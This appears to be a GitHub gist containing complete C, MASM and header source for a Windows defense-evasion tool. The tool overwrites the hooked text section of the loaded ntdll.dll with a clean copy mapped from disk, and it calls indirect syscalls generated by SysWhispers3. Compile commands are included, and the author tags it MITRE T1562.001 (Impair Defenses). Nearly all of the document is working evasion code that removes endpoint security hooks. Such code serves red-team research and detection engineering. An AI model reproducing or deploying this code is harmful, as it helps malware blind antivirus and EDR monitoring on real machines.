Last active
June 23, 2024 21:27
-
-
Save wizardy0ga/425822d2991b79b235bead1a64be1fdd to your computer and use it in GitHub Desktop.
Unhook with fresh NTDLL mapped from disk with indirect syscalls (syswhispers3)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
June 2024 | |
Arch: | |
x64 | |
Tested on: | |
Windows 10 19045.4529 | |
Compiler: | |
MSVC | |
Compile Instructions: | |
ML64 /c syscalls-asm.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 | |
cl.exe syscalls.c main.c | |
link.exe /OUT:UnhookNtDllMappedFromDiskSyscalls.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib syscalls-asm.x64.obj syscalls.obj main.obj | |
Description: | |
Unhook ntdll using a copy mapped from disk with indirect system calls generated via syswhispers3 | |
Mitre: | |
Execution: | |
T1106 - Native API | |
Defense Evasion: | |
T1562.001 - Impair Defenses: Disable or Modify Tools | |
*/ | |
#include "syscalls.h" | |
#include "stdio.h" | |
#define OBJ_CASE_INSENSITIVE 0x00000040L | |
#define FILE_OPEN 0x00000001 | |
#define FILE_NON_DIRECTORY_FILE 0x00000040 | |
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 | |
#define STATUS_IMAGE_NOT_AT_BASE 0x40000003 | |
#define nterror(api, status) printf("[!] " api " failed with error: 0x%0.8X\n", status) | |
#define check(api, code, status) if (status != code) { nterror(api, status); return FALSE; } | |
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__); | |
typedef struct _PEB_LDR_DATA { | |
BYTE Reserved1[8]; | |
PVOID Reserved2[3]; | |
LIST_ENTRY InMemoryOrderModuleList; | |
} PEB_LDR_DATA, * PPEB_LDR_DATA; | |
typedef struct _LDR_DATA_TABLE_ENTRY { | |
PVOID Reserved1[2]; | |
LIST_ENTRY InMemoryOrderLinks; | |
PVOID Reserved2[2]; | |
PVOID DllBase; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
typedef struct _PEB { | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PPEB_LDR_DATA Ldr; | |
} PEB, * PPEB; | |
typedef VOID(NTAPI* fpRtlInitUnicodeString) ( | |
PUNICODE_STRING DestinationString, | |
__drv_aliasesMem PCWSTR SourceString | |
); | |
int main() { | |
OBJECT_ATTRIBUTES OA = { 0 }; | |
IO_STATUS_BLOCK IOSB = { 0 }; | |
UNICODE_STRING String = { 0 }; | |
LARGE_INTEGER SectionOffset = { 0 }; | |
ULONG OldProtection = 0; | |
NTSTATUS Status = 0; | |
HANDLE hFile = NULL, | |
hSection = NULL; | |
WCHAR NtDll[] = L"\\??\\\\C:\\Windows\\System32\\NTDLL.dll"; | |
PVOID pUnhookedNtDll = NULL, | |
pHookedNtDll = NULL, | |
pHookedTextSection = NULL, | |
pUnhookedTextSection = NULL; | |
SIZE_T ViewSize = 0, | |
NtDllSize = 0, | |
BytesWritten = 0; | |
PPEB pPeb = NULL; | |
PLDR_DATA_TABLE_ENTRY pNtDllLdrEntry = NULL; | |
PIMAGE_DOS_HEADER pHookedDos = NULL, | |
pUnhookedDos = NULL; | |
PIMAGE_NT_HEADERS pHookedNt = NULL, | |
pUnhookedNt = NULL; | |
printf("[+] Press enter to begin."); getchar(); | |
/* Init unicode string structure & object attributes structure */ | |
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString"); | |
if (!RtlInitUnicodeString) { | |
printf("Failed to resolve address for RtlInitUnicodeString\n"); return NULL; | |
} | |
RtlInitUnicodeString(&String, NtDll); | |
InitializeObjectAttributes(&OA, &String, OBJ_CASE_INSENSITIVE, NULL, NULL); | |
/* Map ntdll into memory */ | |
Status = Sw3NtCreateFile( | |
&hFile | |
, FILE_READ_ATTRIBUTES | GENERIC_READ | SYNCHRONIZE | |
, &OA | |
, &IOSB | |
, 0 | |
, FILE_ATTRIBUTE_NORMAL | |
, FILE_SHARE_READ | |
, FILE_OPEN | |
, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | |
, NULL | |
, 0 | |
); | |
check("NtCreateFile", 0x0, Status); | |
Status = Sw3NtCreateSection( | |
&hSection | |
, STANDARD_RIGHTS_REQUIRED | SECTION_MAP_READ | SECTION_QUERY | |
, NULL | |
, NULL | |
, PAGE_READONLY | |
, SEC_IMAGE | SEC_NOCACHE | |
, hFile | |
); | |
check("NtCreateSection", 0x0, Status); | |
Status = Sw3NtMapViewOfSection(hSection, (HANDLE)-1, &pUnhookedNtDll, 0, 0, &SectionOffset, &ViewSize, ViewShare, 0, PAGE_READONLY); | |
check("NtMapViewOfSection", STATUS_IMAGE_NOT_AT_BASE, Status); | |
print("Mapped %lld byte image of %S to memory at 0x%p", ViewSize, String.Buffer, pUnhookedNtDll); | |
/* Get the base address of the ntdll loaded in the process at creation time. Assumes that ntdll is second entry in ldr table. */ | |
pPeb = (PPEB)__readgsqword(0x60); | |
pNtDllLdrEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10); | |
pHookedNtDll = pNtDllLdrEntry->DllBase; | |
if (!pPeb || !pNtDllLdrEntry || !pHookedNtDll) { | |
printf("[!] could not locate ntdll in process environment block.\n"); return -1; | |
} | |
print("Located local ntdll base in PEB at 0x%p", pPeb); | |
/* Get the text sections of the local (hooked) & remote (unhooked) ntdlls */ | |
pUnhookedDos = (PIMAGE_DOS_HEADER)pUnhookedNtDll; | |
if (pUnhookedDos->e_magic != IMAGE_DOS_SIGNATURE) { | |
printf("Unhooked ntdll dos header mismatch. Quitting.\n"); return -1; | |
} | |
pUnhookedNt = (PIMAGE_NT_HEADERS)((PBYTE)pUnhookedNtDll + pUnhookedDos->e_lfanew); | |
if (pUnhookedNt->Signature != IMAGE_NT_SIGNATURE) { | |
printf("Unhooked ntdll nt header mismatch. Quitting.\n"); return -1; | |
} | |
pHookedDos = (PIMAGE_DOS_HEADER)pHookedNtDll; | |
if (pHookedDos->e_magic != IMAGE_DOS_SIGNATURE) { | |
printf("Hooked ntdll dos header mismatch. Quitting.\n"); return -1; | |
} | |
pHookedNt = (PIMAGE_NT_HEADERS)((PBYTE)pHookedNtDll + pHookedDos->e_lfanew); | |
if (pHookedNt->Signature != IMAGE_NT_SIGNATURE) { | |
printf("Unhooked ntdll nt header mismatch. Quitting.\n"); return -1; | |
} | |
pHookedTextSection = (PVOID)((ULONG_PTR)pHookedNtDll + pHookedNt->OptionalHeader.BaseOfCode); | |
pUnhookedTextSection = (PVOID)((ULONG_PTR)pUnhookedNtDll + pUnhookedNt->OptionalHeader.BaseOfCode); | |
NtDllSize = pHookedNt->OptionalHeader.SizeOfCode; | |
if (!pHookedTextSection || !pUnhookedTextSection || !NtDllSize) { | |
printf("Failed to locate a text section in remote or local ntdll.\n"); return -1; | |
} | |
print("Found hooked text section at 0x%p", pHookedTextSection); | |
print("Found unhooked text section at 0x%p", pUnhookedTextSection); | |
/* Copy the unhooked text section into the hooked text section */ | |
Status = Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &NtDllSize, PAGE_EXECUTE_WRITECOPY, &OldProtection); | |
check("NtProtectVirtualMemory [wcx]", 0x0, Status); | |
Status = Sw3NtWriteVirtualMemory((HANDLE)-1, pHookedTextSection, pUnhookedTextSection, NtDllSize, &BytesWritten); | |
check("NtWriteVirtualMemory", 0x0, Status); | |
Status = Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &NtDllSize, OldProtection, &OldProtection); | |
check("NtProtectVirtualMemory [return]", 0x0, Status); | |
print("Successfully unhooked ntdll! Press enter to cleanup."); | |
getchar(); | |
/* Cleanup */ | |
Status = Sw3NtClose(hFile); | |
check("NtClose", 0x0, Status); | |
Status = Sw3NtClose(hSection); | |
check("NtClose2", 0x0, Status); | |
Status = Sw3NtUnmapViewOfSection((HANDLE)-1, pUnhookedNtDll); | |
check("NtUnmapViewOfSection", 0x0, Status); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
COMMENT @ | |
This x64 masm assembly was generated with syswhispers 3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
@ | |
.code | |
EXTERN SW3_GetSyscallNumber: PROC | |
EXTERN SW3_GetSyscallAddress: PROC | |
Sw3NtProtectVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 043510F85h ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 043510F85h ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtProtectVirtualMemory ENDP | |
Sw3NtCreateFile PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 024FD7A4Eh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 024FD7A4Eh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtCreateFile ENDP | |
Sw3NtCreateSection PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 00A8E7447h ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 00A8E7447h ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtCreateSection ENDP | |
Sw3NtMapViewOfSection PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 0C50AE1D8h ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 0C50AE1D8h ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtMapViewOfSection ENDP | |
Sw3NtClose PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 010841DE9h ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 010841DE9h ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtClose ENDP | |
Sw3NtWriteVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 00694F3E8h ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 00694F3E8h ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtWriteVirtualMemory ENDP | |
Sw3NtUnmapViewOfSection PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 09099AE35h ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 09099AE35h ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtUnmapViewOfSection ENDP | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Source file was generated with syswhispers3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
*/ | |
#include "syscalls.h" | |
#include <stdio.h> | |
//#define DEBUG | |
#define JUMPER | |
#ifdef _M_IX86 | |
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { | |
return (PVOID)__readfsdword(0xC0); | |
} | |
__declspec(naked) BOOL local_is_wow64(void) | |
{ | |
__asm { | |
mov eax, fs:[0xc0] | |
test eax, eax | |
jne wow64 | |
mov eax, 0 | |
ret | |
wow64: | |
mov eax, 1 | |
ret | |
} | |
} | |
#endif | |
// Code below is adapted from @modexpblog. Read linked article for more details. | |
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams | |
SW3_SYSCALL_LIST SW3_SyscallList; | |
// SEARCH_AND_REPLACE | |
#ifdef SEARCH_AND_REPLACE | |
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release | |
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); | |
#endif | |
DWORD SW3_HashSyscall(PCSTR FunctionName) | |
{ | |
DWORD i = 0; | |
DWORD Hash = SW3_SEED; | |
while (FunctionName[i]) | |
{ | |
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); | |
Hash ^= PartialName + SW3_ROR8(Hash); | |
} | |
return Hash; | |
} | |
#ifndef JUMPER | |
PVOID SC_Address(PVOID NtApiAddress) | |
{ | |
return NULL; | |
} | |
#else | |
PVOID SC_Address(PVOID NtApiAddress) | |
{ | |
DWORD searchLimit = 512; | |
PVOID SyscallAddress; | |
#ifdef _WIN64 | |
// If the process is 64-bit on a 64-bit OS, we need to search for syscall | |
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; | |
ULONG distance_to_syscall = 0x12; | |
#else | |
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter | |
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; | |
ULONG distance_to_syscall = 0x0f; | |
#endif | |
#ifdef _M_IX86 | |
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved | |
if (local_is_wow64()) | |
{ | |
#ifdef DEBUG | |
printf("[+] Running 32-bit app on x64 (WOW64)\n"); | |
#endif | |
return NULL; | |
} | |
#endif | |
// we don't really care if there is a 'jmp' between | |
// NtApiAddress and the 'syscall; ret' instructions | |
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
// we can use the original code for this system call :) | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
// the 'syscall; ret' intructions have not been found, | |
// we will try to use one near it, similarly to HalosGate | |
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) | |
{ | |
// let's try with an Nt* API below our syscall | |
SyscallAddress = SW3_RVA2VA( | |
PVOID, | |
NtApiAddress, | |
distance_to_syscall + num_jumps * 0x20); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
// let's try with an Nt* API above our syscall | |
SyscallAddress = SW3_RVA2VA( | |
PVOID, | |
NtApiAddress, | |
distance_to_syscall - num_jumps * 0x20); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
} | |
#ifdef DEBUG | |
printf("Syscall Opcodes not found!\n"); | |
#endif | |
return NULL; | |
} | |
#endif | |
BOOL SW3_PopulateSyscallList() | |
{ | |
// Return early if the list is already populated. | |
if (SW3_SyscallList.Count) return TRUE; | |
#ifdef _WIN64 | |
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); | |
#else | |
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); | |
#endif | |
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; | |
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; | |
PVOID DllBase = NULL; | |
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second | |
// in the list, so it's safer to loop through the full list and find it. | |
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; | |
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) | |
{ | |
DllBase = LdrEntry->DllBase; | |
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; | |
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); | |
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; | |
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; | |
if (VirtualAddress == 0) continue; | |
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); | |
// If this is NTDLL.dll, exit loop. | |
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); | |
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; | |
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; | |
} | |
if (!ExportDirectory) return FALSE; | |
DWORD NumberOfNames = ExportDirectory->NumberOfNames; | |
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); | |
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); | |
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); | |
// Populate SW3_SyscallList with unsorted Zw* entries. | |
DWORD i = 0; | |
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; | |
do | |
{ | |
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); | |
// Is this a system call? | |
if (*(USHORT*)FunctionName == 0x775a) | |
{ | |
Entries[i].Hash = SW3_HashSyscall(FunctionName); | |
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; | |
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); | |
i++; | |
if (i == SW3_MAX_ENTRIES) break; | |
} | |
} while (--NumberOfNames); | |
// Save total number of system calls found. | |
SW3_SyscallList.Count = i; | |
// Sort the list by address in ascending order. | |
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) | |
{ | |
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) | |
{ | |
if (Entries[j].Address > Entries[j + 1].Address) | |
{ | |
// Swap entries. | |
SW3_SYSCALL_ENTRY TempEntry; | |
TempEntry.Hash = Entries[j].Hash; | |
TempEntry.Address = Entries[j].Address; | |
TempEntry.SyscallAddress = Entries[j].SyscallAddress; | |
Entries[j].Hash = Entries[j + 1].Hash; | |
Entries[j].Address = Entries[j + 1].Address; | |
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; | |
Entries[j + 1].Hash = TempEntry.Hash; | |
Entries[j + 1].Address = TempEntry.Address; | |
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; | |
} | |
} | |
} | |
return TRUE; | |
} | |
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return -1; | |
for (DWORD i = 0; i < SW3_SyscallList.Count; i++) | |
{ | |
if (FunctionHash == SW3_SyscallList.Entries[i].Hash) | |
{ | |
return i; | |
} | |
} | |
return -1; | |
} | |
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return NULL; | |
for (DWORD i = 0; i < SW3_SyscallList.Count; i++) | |
{ | |
if (FunctionHash == SW3_SyscallList.Entries[i].Hash) | |
{ | |
return SW3_SyscallList.Entries[i].SyscallAddress; | |
} | |
} | |
return NULL; | |
} | |
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return NULL; | |
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; | |
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ | |
// Spoofing the syscall return address | |
index = ((DWORD) rand()) % SW3_SyscallList.Count; | |
} | |
return SW3_SyscallList.Entries[index].SyscallAddress; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Header file was generated with syswhispers3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
*/ | |
#pragma once | |
// Code below is adapted from @modexpblog. Read linked article for more details. | |
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams | |
#ifndef SW3_HEADER_H_ | |
#define SW3_HEADER_H_ | |
#include <windows.h> | |
#ifndef _NTDEF_ | |
typedef _Return_type_success_(return >= 0) LONG NTSTATUS; | |
typedef NTSTATUS* PNTSTATUS; | |
#endif | |
#define SW3_SEED 0xAA8EEDBA | |
#define SW3_ROL8(v) (v << 8 | v >> 24) | |
#define SW3_ROR8(v) (v >> 8 | v << 24) | |
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) | |
#define SW3_MAX_ENTRIES 600 | |
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) | |
// Typedefs are prefixed to avoid pollution. | |
typedef struct _SW3_SYSCALL_ENTRY | |
{ | |
DWORD Hash; | |
DWORD Address; | |
PVOID SyscallAddress; | |
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; | |
typedef struct _SW3_SYSCALL_LIST | |
{ | |
DWORD Count; | |
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; | |
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; | |
typedef struct _SW3_PEB_LDR_DATA { | |
BYTE Reserved1[8]; | |
PVOID Reserved2[3]; | |
LIST_ENTRY InMemoryOrderModuleList; | |
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; | |
typedef struct _SW3_LDR_DATA_TABLE_ENTRY { | |
PVOID Reserved1[2]; | |
LIST_ENTRY InMemoryOrderLinks; | |
PVOID Reserved2[2]; | |
PVOID DllBase; | |
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; | |
typedef struct _SW3_PEB { | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PSW3_PEB_LDR_DATA Ldr; | |
} SW3_PEB, *PSW3_PEB; | |
DWORD SW3_HashSyscall(PCSTR FunctionName); | |
BOOL SW3_PopulateSyscallList(); | |
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); | |
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); | |
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); | |
typedef struct _UNICODE_STRING | |
{ | |
USHORT Length; | |
USHORT MaximumLength; | |
PWSTR Buffer; | |
} UNICODE_STRING, *PUNICODE_STRING; | |
#ifndef InitializeObjectAttributes | |
#define InitializeObjectAttributes( p, n, a, r, s ) { \ | |
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ | |
(p)->RootDirectory = r; \ | |
(p)->Attributes = a; \ | |
(p)->ObjectName = n; \ | |
(p)->SecurityDescriptor = s; \ | |
(p)->SecurityQualityOfService = NULL; \ | |
} | |
#endif | |
typedef struct _OBJECT_ATTRIBUTES | |
{ | |
ULONG Length; | |
HANDLE RootDirectory; | |
PUNICODE_STRING ObjectName; | |
ULONG Attributes; | |
PVOID SecurityDescriptor; | |
PVOID SecurityQualityOfService; | |
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; | |
typedef struct _IO_STATUS_BLOCK | |
{ | |
union | |
{ | |
NTSTATUS Status; | |
VOID* Pointer; | |
}; | |
ULONG_PTR Information; | |
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; | |
typedef enum _SECTION_INHERIT | |
{ | |
ViewShare = 1, | |
ViewUnmap = 2 | |
} SECTION_INHERIT, *PSECTION_INHERIT; | |
EXTERN_C NTSTATUS Sw3NtProtectVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN OUT PVOID * BaseAddress, | |
IN OUT PSIZE_T RegionSize, | |
IN ULONG NewProtect, | |
OUT PULONG OldProtect); | |
EXTERN_C NTSTATUS Sw3NtCreateFile( | |
OUT PHANDLE FileHandle, | |
IN ACCESS_MASK DesiredAccess, | |
IN POBJECT_ATTRIBUTES ObjectAttributes, | |
OUT PIO_STATUS_BLOCK IoStatusBlock, | |
IN PLARGE_INTEGER AllocationSize OPTIONAL, | |
IN ULONG FileAttributes, | |
IN ULONG ShareAccess, | |
IN ULONG CreateDisposition, | |
IN ULONG CreateOptions, | |
IN PVOID EaBuffer OPTIONAL, | |
IN ULONG EaLength); | |
EXTERN_C NTSTATUS Sw3NtCreateSection( | |
OUT PHANDLE SectionHandle, | |
IN ACCESS_MASK DesiredAccess, | |
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, | |
IN PLARGE_INTEGER MaximumSize OPTIONAL, | |
IN ULONG SectionPageProtection, | |
IN ULONG AllocationAttributes, | |
IN HANDLE FileHandle OPTIONAL); | |
EXTERN_C NTSTATUS Sw3NtMapViewOfSection( | |
IN HANDLE SectionHandle, | |
IN HANDLE ProcessHandle, | |
IN OUT PVOID BaseAddress, | |
IN ULONG ZeroBits, | |
IN SIZE_T CommitSize, | |
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, | |
IN OUT PSIZE_T ViewSize, | |
IN SECTION_INHERIT InheritDisposition, | |
IN ULONG AllocationType, | |
IN ULONG Win32Protect); | |
EXTERN_C NTSTATUS Sw3NtClose( | |
IN HANDLE Handle); | |
EXTERN_C NTSTATUS Sw3NtWriteVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN PVOID BaseAddress, | |
IN PVOID Buffer, | |
IN SIZE_T NumberOfBytesToWrite, | |
OUT PSIZE_T NumberOfBytesWritten OPTIONAL); | |
EXTERN_C NTSTATUS Sw3NtUnmapViewOfSection( | |
IN HANDLE ProcessHandle, | |
IN PVOID BaseAddress); | |
#endif |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment